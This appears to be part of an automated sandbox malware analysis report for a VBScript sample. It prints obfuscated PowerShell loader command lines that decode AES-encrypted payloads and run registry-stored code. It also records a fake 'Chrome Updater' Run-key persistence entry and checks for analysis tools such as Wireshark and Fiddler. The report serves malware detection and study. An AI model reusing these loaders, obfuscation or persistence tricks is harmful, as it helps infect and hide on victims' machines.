Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function IrUjV([byte[]]$f9mpX) {Invoke-Expression -Verbose -Debug -InformationAction Ignore 'zZO$zZOSzZOfzZOYzZOszZO9zZO=zZO[zZOSzZOyzZOszZOtzZOezZOmzZO.zZOTzZOezZOxzZOtzZO.zZOEzZOnzZOczZOozZOdzZOizZOnzZOgzZO]zZO:zZO:zZOUzZOTzZOFzZO8zZO.zZOGzZOezZOtzZOSzZOtzZOrzZOizZOnzZOgzZO(zZO$zZOfzZO9zZOmzZOpzZOXzZO)zZO'.Replace('zZO', ''); return $SfYs9; } function SsYTA([byte[]]$MyDKV) {Invoke-Expression -WarningAction Inquire -Verbose 'RzW$RzWGRzWwRzW1RzWMRzWHRzW=RzW[RzWBRzWiRzWtRzWCRzWoRzWnRzWvRzWeRzWrRzWtRzWeRzWrRzW]RzW:RzW:RzWTRzWoRzWIRzWnRzWtRzW3RzW2RzW(RzW$RzWMRzWyRzWDRzWKRzWVRzW,RzW0RzW)RzW;RzW'.Replace('RzW', ''); return $Gw1MH; } $MXyPq = IrUjV(0x74, 0x52, 107, 88, 67, 54, 106, 0x2b, 0x34, 90, 0x6f, 82, 0x59, 0x62, 0x79, 0x47, 0x70, 111, 77, 69, 117, 0x6b, 0x6b, 0x43, 89, 0x46, 0x42, 81, 0x34, 47, 70, 121, 0x64, 0x34, 0x58, 79, 0x4b, 0x4e, 0x58, 120, 0x2b, 69, 103, 61); $lsxMg = IrUjV(0x4e, 0x47, 48, 82, 99, 80, 55, 0x49, 0x36, 122, 0x75, 69, 0x65, 0x65, 0x6f, 0x32, 0x46, 111, 119, 114, 52, 0x51, 0x3d, 0x3d); $gYqop = IrUjV(0x53, 0x6f, 102, 116, 119, 97, 114, 0x65, 0x5c, 77, 0x69, 99, 0x72, 0x6f, 0x73, 0x6f, 0x66, 116, 92, 87, 105, 0x6e, 0x64, 0x6f, 119, 0x73); $QR3m4 = IrUjV(0x4a, 0x6d, 106, 53, 121); $Q21ag = IrUjV(0x67, 0x69, 69, 99, 67); $u2Okr = SsYTA(0x00, 0, 0, 0x00); $dXs3R = $true; $gnS0E = $null; function juypb($gsleS) {Invoke-Expression -Debug -WarningAction Inquire 'Fs5$Fs5wFs5GFs52Fs5gFs5lFs5=Fs5[Fs5SFs5yFs5sFs5tFs5eFs5mFs5.Fs5SFs5eFs5cFs5uFs5rFs5iFs5tFs5yFs5.Fs5CFs5rFs5yFs5pFs5tFs5oFs5gFs5rFs5aFs5pFs5hFs5yFs5.Fs5AFs5eFs5sFs5]Fs5:Fs5:Fs5CFs5rFs5eFs5aFs5tFs5eFs5(Fs5)Fs5'.Replace('Fs5', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug -Verbose 'hta$htawhtaGhta2htaghtalhta.htaMhtaohtadhtaehta=hta[htaShtayhtashtathtaehtamhta.htaShtaehtachtauhtarhtaihtathtayhta.htaChtarhtayhtaphtathtaohtaghtarhtaahtaphtahhtayhta.htaChtaihtaphtahhtaehtarhtaMhtaohtadhtaehta]hta:hta:htaChtaBhtaChta'.Replace('hta', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire 'RLY$RLYwRLYGRLY2RLYgRLYlRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLY=RLY[RLYSRLYyRLYsRLYtRLYeRLYmRLY.RLYSRLYeRLYcRLYuRLYrRLYiRLYtRLYyRLY.RLYCRLYrRLYyRLYpRLYtRLYoRLYgRLYrRLYaRLYpRLYhRLYyRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLYMRLYoRLYdRLYeRLY]RLY:RLY:RLYPRLYKRLYCRLYSRLY7RLY'.Replace('RLY', ''); Invoke-Expression -WarningAction Inquire -Verbose 'MnG$MnGwMnGGMnG2MnGgMnGlMnG.MnGKMnGeMnGyMnG=MnG[MnGSMnGyMnGsMnGtMnGeMnGmMnG.MnGCMnGoMnGnMnGvMnGeMnGrMnGtMnG]MnG:MnG:MnGFMnGrMnGoMnGmMnGBMnGaMnGsMnGeMnG6MnG4MnGSMnGtMnGrMnGiMnGnMnGgMnG(MnG$MnGMMnGXMnGyMnGPMnGqMnG)MnG'.Replace('MnG', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire 'BNK$BNKwBNKGBNK2BNKgBNKlBNK.BNKIBNKVBNK=BNK[BNKSBNKyBNKsBNKtBNKeBNKmBNK.BNKCBNKoBNKnBNKvBNKeBNKrBNKtBNK]BNK:BNK:BNKFBNKrBNKoBNKmBNKBBNKaBNKsBNKeBNK6BNK4BNKSBNKtBNKrBNKiBNKnBNKgBNK(BNK$BNKl
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function Ib6pi([byte[]]$Sf4DZ) {Invoke-Expression -Verbose -WarningAction Inquire -Debug 'O2o$O2ocO2oqO2o1O2oaO2oGO2o=O2o[O2oSO2oyO2osO2otO2oeO2omO2o.O2oTO2oeO2oxO2otO2o.O2oEO2onO2ocO2ooO2odO2oiO2onO2ogO2o]O2o:O2o:O2oUO2oTO2oFO2o8O2o.O2oGO2oeO2otO2oSO2otO2orO2oiO2onO2ogO2o(O2o$O2oSO2ofO2o4O2oDO2oZO2o)O2o'.Replace('O2o', ''); return $cq1aG; } function Smsgn([byte[]]$TYS1W) {Invoke-Expression -Verbose -InformationAction Ignore 'StI$StIrStIwStIZStIwStIHStI=StI[StIBStIiStItStICStIoStInStIvStIeStIrStItStIeStIrStI]StI:StI:StITStIoStIIStInStItStI3StI2StI(StI$StITStIYStISStI1StIWStI,StI0StI)StI;StI'.Replace('StI', ''); return $rwZwH; } $yOU0b = Ib6pi(0x74<#chvvk#>,0x52<#u2CEY#>,0x6B<#MVTFN#>,0x58<#YiCr7#>,0x43<#K8mg9#>,0x36<#UhqQ4#>,0x6A<#cQm2O#>,0x2B<#flcxM#>,0x34<#OY2RT#>,0x5A<#ALzz6#>,0x6F<#zoKd3#>,0x52<#d4OvL#>,0x59<#SLwJ0#>,0x62<#zsa1m#>,0x79<#sFOep#>,0x47<#qGVN9#>,0x70<#Ks1U4#>,0x6F<#uGJ9p#>,0x4D<#kWql0#>,0x45<#EmsaU#>,0x75<#Ov8NF#>,0x6B<#uZpyF#>,0x6B<#XiBw9#>,0x43<#hUbO7#>,0x59<#ujaL4#>,0x46<#ZYnnj#>,0x42<#JY42r#>,0x51<#WtnPA#>,0x34<#YaV4N#>,0x2F<#HV4mN#>,0x46<#nKdcb#>,0x79<#lUwSl#>,0x64<#awCO3#>,0x34<#CnIFi#>,0x58<#uqMOd#>,0x4F<#YNg7w#>,0x4B<#HeBay#>,0x4E<#A4cb9#>,0x58<#F6Vnf#>,0x78<#kXGAK#>,0x2B<#ZMzDT#>,0x45<#E8P88#>,0x67<#Zyzgc#>,0x3D<#Auma2#>); $pKdS6 = Ib6pi(0x4E<#HLrGc#>,0x47<#xVisw#>,0x30<#EHfxR#>,0x52<#wp7Gt#>,0x63<#Cpdce#>,0x50<#OHyLe#>,0x37<#xvqHB#>,0x49<#PetlW#>,0x36<#lZgM3#>,0x7A<#TTBOg#>,0x75<#Rxgr0#>,0x45<#YsPlK#>,0x65<#qhXNz#>,0x65<#QaXw9#>,0x6F<#W6Vt9#>,0x32<#gIQiG#>,0x46<#yGjpJ#>,0x6F<#HP9Ri#>,0x77<#dPHbh#>,0x72<#KCTWk#>,0x34<#x6PPE#>,0x51<#VbwrN#>,0x3D<#RcqfM#>,0x3D<#l7sEq#>); $mxwaP = Ib6pi(0x53<#DbFNZ#>,0x6F<#Jy4Lx#>,0x66<#ez47J#>,0x74<#B1Uku#>,0x77<#kcRDO#>,0x61<#GimOz#>,0x72<#MUPpg#>,0x65<#a0Bz2#>,0x5C<#ehl3n#>,0x4D<#ZitVL#>,0x69<#smHT8#>,0x63<#fJC9S#>,0x72<#hMqWi#>,0x6F<#NkObo#>,0x73<#IzfrK#>,0x6F<#J1Yat#>,0x66<#dzRC7#>,0x74<#fM5r5#>,0x5C<#RyBgP#>,0x57<#T0PUW#>,0x69<#vTRqA#>,0x6E<#BHZJx#>,0x64<#mvlQt#>,0x6F<#p5nY6#>,0x77<#DohgT#>,0x73<#Sx8cw#>); $RGohu = Ib6pi(0x6B<#QlDDy#>,0x70<#NhkB5#>,0x44<#Zww3K#>,0x53<#eNvxb#>,0x46<#XM0XT#>); $RwltO = Smsgn(0x00<#h5SFV#>,0x00<#ucupc#>,0x00<#MID9v#>,0x00<#HXOXF#>); $ewoV8 = $true; $jOK5y = $null; function Yz1Gd($VHgBC) {Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore 'CKA$CKAeCKAyCKAyCKAQCKAHCKA=CKA[CKASCKAyCKAsCKAtCKAeCKAmCKA.CKASCKAeCKAcCKAuCKArCKAiCKAtCKAyCKA.CKACCKArCKAyCKApCKAtCKAoCKAgCKArCKAaCKApCKAhCKAyCKA.CKAACKAeCKAsCKA]CKA:CKA:CKACCKArCKAeCKAaCKAtCKAeCKA(CKA)CKA'.Replace('CKA', ''); Invoke-Expression -WarningAction Inquire -Verbose 'RHv$RHveRHvyRHvyRHvQRHvHRHv.RHvMRHvoRHvdRHveRHv=RHv[RHvSRHvyRHvsRHvtRHveRHvmRHv.RHvSRHveRHvcRHvuRHvrRHviRHvtRHvyRHv.RHvCRHvrRHvyRHvpRHvtRHvoRHvgRHvrRHvaRHvpRHvhRHvyRHv.RHvCRHviRHvpRHvhRHveRHvrRHvMRHvoRHvdRHveRHv]RHv:RHv:RHvCRHvBRHvCRHv'.Replace('RHv', ''); Invoke-Expression -Verbose -D	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function IrUjV([byte[]]$f9mpX) {Invoke-Expression -Verbose -Debug -InformationAction Ignore 'zZO$zZOSzZOfzZOYzZOszZO9zZO=zZO[zZOSzZOyzZOszZOtzZOezZOmzZO.zZOTzZOezZOxzZOtzZO.zZOEzZOnzZOczZOozZOdzZOizZOnzZOgzZO]zZO:zZO:zZOUzZOTzZOFzZO8zZO.zZOGzZOezZOtzZOSzZOtzZOrzZOizZOnzZOgzZO(zZO$zZOfzZO9zZOmzZOpzZOXzZO)zZO'.Replace('zZO', ''); return $SfYs9; } function SsYTA([byte[]]$MyDKV) {Invoke-Expression -WarningAction Inquire -Verbose 'RzW$RzWGRzWwRzW1RzWMRzWHRzW=RzW[RzWBRzWiRzWtRzWCRzWoRzWnRzWvRzWeRzWrRzWtRzWeRzWrRzW]RzW:RzW:RzWTRzWoRzWIRzWnRzWtRzW3RzW2RzW(RzW$RzWMRzWyRzWDRzWKRzWVRzW,RzW0RzW)RzW;RzW'.Replace('RzW', ''); return $Gw1MH; } $MXyPq = IrUjV(0x74, 0x52, 107, 88, 67, 54, 106, 0x2b, 0x34, 90, 0x6f, 82, 0x59, 0x62, 0x79, 0x47, 0x70, 111, 77, 69, 117, 0x6b, 0x6b, 0x43, 89, 0x46, 0x42, 81, 0x34, 47, 70, 121, 0x64, 0x34, 0x58, 79, 0x4b, 0x4e, 0x58, 120, 0x2b, 69, 103, 61); $lsxMg = IrUjV(0x4e, 0x47, 48, 82, 99, 80, 55, 0x49, 0x36, 122, 0x75, 69, 0x65, 0x65, 0x6f, 0x32, 0x46, 111, 119, 114, 52, 0x51, 0x3d, 0x3d); $gYqop = IrUjV(0x53, 0x6f, 102, 116, 119, 97, 114, 0x65, 0x5c, 77, 0x69, 99, 0x72, 0x6f, 0x73, 0x6f, 0x66, 116, 92, 87, 105, 0x6e, 0x64, 0x6f, 119, 0x73); $QR3m4 = IrUjV(0x4a, 0x6d, 106, 53, 121); $Q21ag = IrUjV(0x67, 0x69, 69, 99, 67); $u2Okr = SsYTA(0x00, 0, 0, 0x00); $dXs3R = $true; $gnS0E = $null; function juypb($gsleS) {Invoke-Expression -Debug -WarningAction Inquire 'Fs5$Fs5wFs5GFs52Fs5gFs5lFs5=Fs5[Fs5SFs5yFs5sFs5tFs5eFs5mFs5.Fs5SFs5eFs5cFs5uFs5rFs5iFs5tFs5yFs5.Fs5CFs5rFs5yFs5pFs5tFs5oFs5gFs5rFs5aFs5pFs5hFs5yFs5.Fs5AFs5eFs5sFs5]Fs5:Fs5:Fs5CFs5rFs5eFs5aFs5tFs5eFs5(Fs5)Fs5'.Replace('Fs5', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug -Verbose 'hta$htawhtaGhta2htaghtalhta.htaMhtaohtadhtaehta=hta[htaShtayhtashtathtaehtamhta.htaShtaehtachtauhtarhtaihtathtayhta.htaChtarhtayhtaphtathtaohtaghtarhtaahtaphtahhtayhta.htaChtaihtaphtahhtaehtarhtaMhtaohtadhtaehta]hta:hta:htaChtaBhtaChta'.Replace('hta', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire 'RLY$RLYwRLYGRLY2RLYgRLYlRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLY=RLY[RLYSRLYyRLYsRLYtRLYeRLYmRLY.RLYSRLYeRLYcRLYuRLYrRLYiRLYtRLYyRLY.RLYCRLYrRLYyRLYpRLYtRLYoRLYgRLYrRLYaRLYpRLYhRLYyRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLYMRLYoRLYdRLYeRLY]RLY:RLY:RLYPRLYKRLYCRLYSRLY7RLY'.Replace('RLY', ''); Invoke-Expression -WarningAction Inquire -Verbose 'MnG$MnGwMnGGMnG2MnGgMnGlMnG.MnGKMnGeMnGyMnG=MnG[MnGSMnGyMnGsMnGtMnGeMnGmMnG.MnGCMnGoMnGnMnGvMnGeMnGrMnGtMnG]MnG:MnG:MnGFMnGrMnGoMnGmMnGBMnGaMnGsMnGeMnG6MnG4MnGSMnGtMnGrMnGiMnGnMnGgMnG(MnG$MnGMMnGXMnGyMnGPMnGqMnG)MnG'.Replace('MnG', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire 'BNK$BNKwBNKGBNK2BNKgBNKlBNK.BNKIBNKVBNK=BNK[BNKSBNKyBNKsBNKtBNKeBNKmBNK.BNKCBNKoBNKnBNKvBNKeBNKrBNKtBNK]BNK:BNK:BNKFBNKrBNKoBNKmBNKBBNKaBNKsBNKeBNK6BNK4BNKSBNKtBNKrBNKiBNKnBNKgBNK(BNK$BNKl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3mr	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF7C02243DE push ds; iretd	6_2_00007FF7C02243DF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF7C022E8DA push ebx; retn 0009h	6_2_00007FF7C022E90A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0250160 push edx; retf	8_2_00007FF7C025475B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C02443DE push ds; iretd	8_2_00007FF7C02443DF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C02510F0 push eax; ret	8_2_00007FF7C025115C

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chrome Updater			Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chrome Updater			Jump to behavior

Source: powershell.exe, 00000005.00000002.1372476794.0000027F8062D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: powershell.exe, 00000005.00000002.1372476794.0000027F8062D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: powershell.exe, 00000005.00000002.1372476794.0000027F80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F804DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1392320209.0000027FFEAD0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE%HTTPDEBUGGERUI.EXE
Source: powershell.exe, 00000005.00000002.1372476794.0000027F80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F804DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1392320209.0000027FFEAD0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE%HTTPANALYZERV7.EXE
Source: powershell.exe, 00000005.00000002.1372476794.0000027F8062D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: powershell.exe, 00000005.00000002.1372476794.0000027F80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F804DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1392320209.0000027FFEAD0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCESS.EXE#PROCESSHACKER.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6928	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2941	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7779	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1935	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8689	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 969	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4307	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1955	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4561	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1166	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep count: 6928 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep count: 2941 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5612	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6164	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2096	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2936	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report test.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qlebmge.011.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d13xror1.pum.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gwtxwxrf.ode.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hx4tr3du.htx.psm1

